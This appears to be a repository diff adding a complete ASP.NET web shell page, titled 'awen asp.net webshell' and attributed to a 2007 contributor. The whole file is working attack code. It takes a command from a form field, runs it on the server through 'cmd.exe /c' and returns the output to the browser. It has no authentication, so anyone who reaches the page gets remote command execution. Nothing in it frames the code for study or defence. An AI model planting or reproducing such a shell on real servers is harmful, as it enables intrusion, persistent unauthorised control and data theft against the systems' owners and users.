|
| 1 | +<%@ Page Language="C#" Debug="true" Trace="false" %> |
| 2 | +<%@ Import Namespace="System.Diagnostics" %> |
| 3 | +<%@ Import Namespace="System.IO" %> |
| 4 | +<script Language="c#" runat="server"> |
| 5 | +void Page_Load(object sender, EventArgs e) |
| 6 | +{ |
| 7 | +} |
| 8 | +string ExcuteCmd(string arg) |
| 9 | +{ |
| 10 | +ProcessStartInfo psi = new ProcessStartInfo(); |
| 11 | +psi.FileName = "cmd.exe"; |
| 12 | +psi.Arguments = "/c "+arg; |
| 13 | +psi.RedirectStandardOutput = true; |
| 14 | +psi.UseShellExecute = false; |
| 15 | +Process p = Process.Start(psi); |
| 16 | +StreamReader stmrdr = p.StandardOutput; |
| 17 | +string s = stmrdr.ReadToEnd(); |
| 18 | +stmrdr.Close(); |
| 19 | +return s; |
| 20 | +} |
| 21 | +void cmdExe_Click(object sender, System.EventArgs e) |
| 22 | +{ |
| 23 | +Response.Write("<pre>"); |
| 24 | +Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text))); |
| 25 | +Response.Write("</pre>"); |
| 26 | +} |
| 27 | +</script> |
| 28 | +<HTML> |
| 29 | +<HEAD> |
| 30 | +<title>awen asp.net webshell</title> |
| 31 | +</HEAD> |
| 32 | +<body > |
| 33 | +<form id="cmd" method="post" runat="server"> |
| 34 | +<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox> |
| 35 | +<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button> |
| 36 | +<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label> |
| 37 | +</form> |
| 38 | +</body> |
| 39 | +</HTML> |
| 40 | + |
| 41 | +<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) --> |
| 42 | +<!-- http://michaeldaw.org 04/2007 --> |
0 commit comments